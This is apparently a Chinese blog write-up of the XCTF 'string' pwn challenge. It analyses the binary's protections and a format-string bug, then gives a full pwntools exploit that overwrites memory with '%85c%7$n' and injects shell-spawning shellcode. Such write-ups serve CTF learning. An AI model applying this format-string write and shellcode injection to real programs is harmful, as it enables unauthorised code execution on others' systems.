攻防世界 Pwn string

本文详细分析了一道信息安全题目,涉及内存分配、函数调用和保护机制。通过检查sec发现除PIE外其他保护开启。IDA分析源码揭示了可能存在格式化字符串漏洞,特别是在sub_400BB9函数中。通过构造特定输入,可以实现内存空间的任意写操作,最终在sub_400CA6函数中利用这个漏洞打shellcode。提供了一个完整的exploit代码示例,成功执行后获取shell。博客还给出了题目下载链接。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.checksec看一下保护

在这里插入图片描述
除了PIE其他保护都开了

2.IDA分析一下源码

在这里插入图片描述
v3申请了8大小的内存空间,然后在前4个空间中存放了数字68,在后四个空间中存放了数字85。而v4中存放的是v3的内容,并不是68和85两个数字,而是存放了两个数字的内存空间地址。

3. 看一下sub_400D72函数

在这里插入图片描述
这里使用了scanf(%s)函数,看起来是危险函数,但是对输入的长度做了限制,并且设置了canary保护,实际是不可以利用的漏洞

4.再看一下其他的函数sub_400A7D

在这里插入图片描述
这里输入只能选east,再接着看其他函数

5.看一下sub_400BB9函数

在这里插入图片描述
这个地方选1的话会输入一个地址,第二个输入点存在格式化字符串漏洞,我们可以对某一空间进行任意写的操作,然后我们接着看第三个调用的函数

6.看一下sub_400CA6

在这里插入图片描述
其中a1存放的是v3的地址,就是我们v3申请的内存大小为8的内存空间。理顺思路,这里如果我们可以使这8内存的空间中的前四个字节和后四个字节相等,就可以打shellcode。于是我们可以理顺思路,在最开始时拿到两个4字节的地址->v3[0]和v3[1]的地址,然后在之后的函数中将其中一个修改成和另一个相同->再在此处打shellcode。exp如下:

7.exp附上

from pwn import *
#p = remote("111.198.29.45","49404")
p = process("./string")
context(arch='amd64', os='linux', log_level='debug')
p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)
p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')
p.sendlineafter("'Give me an address'", str(int(v4_addr)))
p.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh())
p.sendlineafter("USE YOU SPELL", shellcode)
p.interactive()

8.运行exp

在这里插入图片描述

9.题目下载地址

点击下载

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值